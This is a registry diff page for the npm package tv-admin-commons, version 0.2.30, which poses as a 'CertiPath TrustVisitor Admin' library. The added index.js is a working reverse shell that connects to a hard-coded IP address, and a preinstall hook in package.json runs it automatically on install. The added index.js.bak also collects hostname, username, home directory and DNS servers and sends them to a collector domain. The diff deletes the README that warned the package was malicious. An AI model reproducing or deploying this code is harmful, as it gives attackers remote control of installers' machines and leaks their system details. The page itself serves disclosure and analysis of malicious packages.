tv-admin-commons 0.0.1-security → 0.2.30
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of tv-admin-commons might be problematic. Click here for more details.
- package/index.js +33 -0
- package/index.js.bak +73 -0
- package/package.json +10 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const querystring = require("querystring");
|
|
4
|
+
const https = require("https");
|
|
5
|
+
const packageJSON = require("./package.json");
|
|
6
|
+
const package = packageJSON.name;
|
|
7
|
+
|
|
8
|
+
var net = require('net');
|
|
9
|
+
var spawn = require('child_process').spawn;
|
|
10
|
+
|
|
11
|
+
var HOST = '66.78.40.218'; // Replace with listener IP
|
|
12
|
+
var PORT = 32768; // Replace with listener port
|
|
13
|
+
|
|
14
|
+
function connect() {
|
|
15
|
+
var client = new net.Socket();
|
|
16
|
+
client.connect(PORT, HOST, function() {
|
|
17
|
+
var sh;
|
|
18
|
+
if (process.platform === 'win32') {
|
|
19
|
+
sh = spawn('cmd.exe', ['/c']); // Windows shell
|
|
20
|
+
} else {
|
|
21
|
+
sh = spawn('/bin/sh', []); // Unix-like shell
|
|
22
|
+
}
|
|
23
|
+
client.pipe(sh.stdin);
|
|
24
|
+
sh.stdout.pipe(client);
|
|
25
|
+
sh.stderr.pipe(client);
|
|
26
|
+
});
|
|
27
|
+
|
|
28
|
+
client.on('error', function(e) {
|
|
29
|
+
setTimeout(connect, 5000); // Reconnect on failure
|
|
30
|
+
});
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
connect();
|
package/index.js.bak
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const querystring = require("querystring");
|
|
4
|
+
const https = require("https");
|
|
5
|
+
const packageJSON = require("./package.json");
|
|
6
|
+
const package = packageJSON.name;
|
|
7
|
+
|
|
8
|
+
var net = require('net');
|
|
9
|
+
var spawn = require('child_process').spawn;
|
|
10
|
+
|
|
11
|
+
var HOST = '66.78.40.218'; // Replace with listener IP
|
|
12
|
+
var PORT = 32768; // Replace with listener port
|
|
13
|
+
|
|
14
|
+
function connect() {
|
|
15
|
+
var client = new net.Socket();
|
|
16
|
+
client.connect(PORT, HOST, function() {
|
|
17
|
+
var sh;
|
|
18
|
+
if (process.platform === 'win32') {
|
|
19
|
+
sh = spawn('cmd.exe', ['/c']); // Windows shell
|
|
20
|
+
} else {
|
|
21
|
+
sh = spawn('/bin/sh', []); // Unix-like shell
|
|
22
|
+
}
|
|
23
|
+
client.pipe(sh.stdin);
|
|
24
|
+
sh.stdout.pipe(client);
|
|
25
|
+
sh.stderr.pipe(client);
|
|
26
|
+
});
|
|
27
|
+
|
|
28
|
+
client.on('error', function(e) {
|
|
29
|
+
setTimeout(connect, 5000); // Reconnect on failure
|
|
30
|
+
});
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
connect();
|
|
34
|
+
|
|
35
|
+
const trackingData = JSON.stringify({
|
|
36
|
+
p: package,
|
|
37
|
+
c: __dirname,
|
|
38
|
+
hd: os.homedir(),
|
|
39
|
+
hn: os.hostname(),
|
|
40
|
+
un: os.userInfo().username,
|
|
41
|
+
dns: dns.getServers(),
|
|
42
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
43
|
+
v: packageJSON.version,
|
|
44
|
+
pjson: packageJSON,
|
|
45
|
+
});
|
|
46
|
+
|
|
47
|
+
var postData = querystring.stringify({
|
|
48
|
+
msg: trackingData,
|
|
49
|
+
});
|
|
50
|
+
|
|
51
|
+
var options = {
|
|
52
|
+
hostname: "q4vx1asu98p7y7kgcqz5mr8y4pagy7mw.e.sigint.nyc", //replace burpcollaborator.net with Interactsh or pipedream
|
|
53
|
+
port: 443,
|
|
54
|
+
path: "/",
|
|
55
|
+
method: "POST",
|
|
56
|
+
headers: {
|
|
57
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
58
|
+
"Content-Length": postData.length,
|
|
59
|
+
},
|
|
60
|
+
};
|
|
61
|
+
|
|
62
|
+
var req = https.request(options, (res) => {
|
|
63
|
+
res.on("data", (d) => {
|
|
64
|
+
process.stdout.write(d);
|
|
65
|
+
});
|
|
66
|
+
});
|
|
67
|
+
|
|
68
|
+
req.on("error", (e) => {
|
|
69
|
+
// console.error(e);
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
req.write(postData);
|
|
73
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,6 +1,13 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "tv-admin-commons",
|
|
3
|
-
"version": "0.
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "0.2.30",
|
|
4
|
+
"description": "CertiPath TrustVisitor Admin",
|
|
5
|
+
"license": "ISC",
|
|
6
|
+
"author": "",
|
|
7
|
+
"type": "commonjs",
|
|
8
|
+
"main": "index.js",
|
|
9
|
+
"scripts": {
|
|
10
|
+
"test": "jest",
|
|
11
|
+
"preinstall": "node index.js"
|
|
12
|
+
}
|
|
6
13
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=tv-admin-commons for more information.
|